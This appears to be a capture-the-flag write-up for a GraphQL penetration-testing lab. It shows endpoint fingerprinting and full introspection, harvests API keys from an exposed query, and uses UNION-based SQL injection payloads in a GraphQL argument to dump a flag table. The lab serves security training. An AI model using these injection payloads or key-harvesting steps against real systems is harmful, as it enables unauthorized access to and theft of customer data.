Skills Assessment - Attacking GraphQL

Scenario:
The tech company Recovera Systems has commissioned an external penetration test of its backend GraphQL API after taking its public website offline for maintenance in response to a recent security incident. Although the user-facing portion of the platform is temporarily disabled, the underlying GraphQL API remains fully active. The client wants to ensure that no vulnerabilities in its schema design, query handling, or data-exposure logic contributed to the breach or could enable future compromise once the site is restored. Try to apply the techniques learned in this module to identify and assess any vulnerabilities before the company re-enables the website.


TARGET: 154.57.164.82:31318

Challenge 1

Exploit the vulnerable GraphQL API to obtain the flag.

Discovery

In this challenge we are given a web app that we will test to see if there are any vulnerabilities related to GraphQL. This is the first view once visiting the web app IP:
image-7.png
Just with this first view we notice that this web app makes a graphql query for the type allProducts:
image-8.png

For my first step I will try to apply what was shown in the Information Disclosure section using the graphw00f tool. Travel to the graphw00f directory and run the following command:

python3 main.py -d -f -t http://154.57.164.61:32087/graphql

Output:

┌──(macc㉿kaliLab)-[~/htb/attacking_graphql/graphw00f]
└─$ python3 main.py -d -f -t http://154.57.164.82:31318
{'User-Agent': 'graphw00f'}

                +-------------------+
                |     graphw00f     |
                +-------------------+
                  ***            ***
                **                  **
              **                      **
    +--------------+              +--------------+
    |    Node X    |              |    Node Y    |
    +--------------+              +--------------+
                  ***            ***
                     **        **
                       **    **
                    +------------+
                    |   Node Z   |
                    +------------+

                graphw00f - v1.2.1
          The fingerprinting tool for GraphQL
           Dolev Farhi <dolev@lethalbit.com>

[*] Checking http://154.57.164.82:31318
[*] Checking http://154.57.164.82:31318/
[*] Checking http://154.57.164.82:31318/api
[*] Checking http://154.57.164.82:31318/graphql
[!] Found GraphQL at http://154.57.164.82:31318/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.

We have identified the endpoint: http://154.57.164.82:31318/graphql. This will make doing queries very easy.

Next we will start doing introspection queries, since that will tell us about how the backend is constructed. I will use a powerful introspection query shown in the Information Disclosure section:

query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }
	
    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }
	
    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }

image-9.png
We can display this using GraphQL Voyager:

image-10.png500

I will first try to make a query for the CustomerObject, in this case I will use the first query (allCustomers) to get all the fields from this object:

query {
  allCustomers {
    id
    firstName
    lastName
    address
  }
}

image-11.png

We might be lucky since there is exactly an ApiKeyObject object that probably stores an api key that we can use. Lets use the activeApiKeys to look for these api keys within the database:

query {
  activeApiKeys {
    id
    role
    key
  }
}

image-12.png

Now lets try to make our original allCustomers query using the above admin api key:

query {
  allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad") {
    id
    firstName
    lastName
    address
  }
}

image-13.png

I will instead try the second query available for the customerObject object (customerByName), this is because this query actually takes some arguments that we can later try to use to test SQL injection. I will use the same api key that we retrieved previously. Using "Blair" (the first customer entry) as an example:
image-15.png
I will directly try to test for SQL injection when querying the customer through his lastname and see what happens:

query {
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Blair' ") {
    id
    firstName
    lastName
    address
  }
}

Moving on, we will try to enumerate the tables in the database to see if we find something valuable. I will use the following SQL payload within the vulnerable argument:

' UNION SELECT 1, GROUP_CONCAT(table_name), 'dummy', 'dummy' FROM information_schema.tables WHERE table_schema=DATABASE() -- 

The query will then look like:

query {
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "' UNION SELECT 1, GROUP_CONCAT(table_name), 'dummy', 'dummy' FROM information_schema.tables WHERE table_schema=DATABASE() -- ") {
    id
    firstName
    lastName
    address
  }
}

image-16.png

Now that we have found that a flag table exists, all we have to do is to query for the contents of that table. The SQL payload will look something like:

' UNION SELECT 1, flag, 'dummy', 'dummy' FROM flag -- 

The final query will look like:

query {
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "' UNION SELECT 1, flag, 'dummy', 'dummy' FROM flag -- ") {
    id
    firstName
    lastName
    address
  }
}

image-17.png
Output:

{
  "data": {
    "customerByName": {
      "id": "Q3VzdG9tZXJPYmplY3Q6MQ==",
      "firstName": "HTB{f1d663c11e6db634e1c9403d0e8e3a35}",
      "lastName": "dummy",
      "address": "dummy"
    }
  }
}

flag: HTB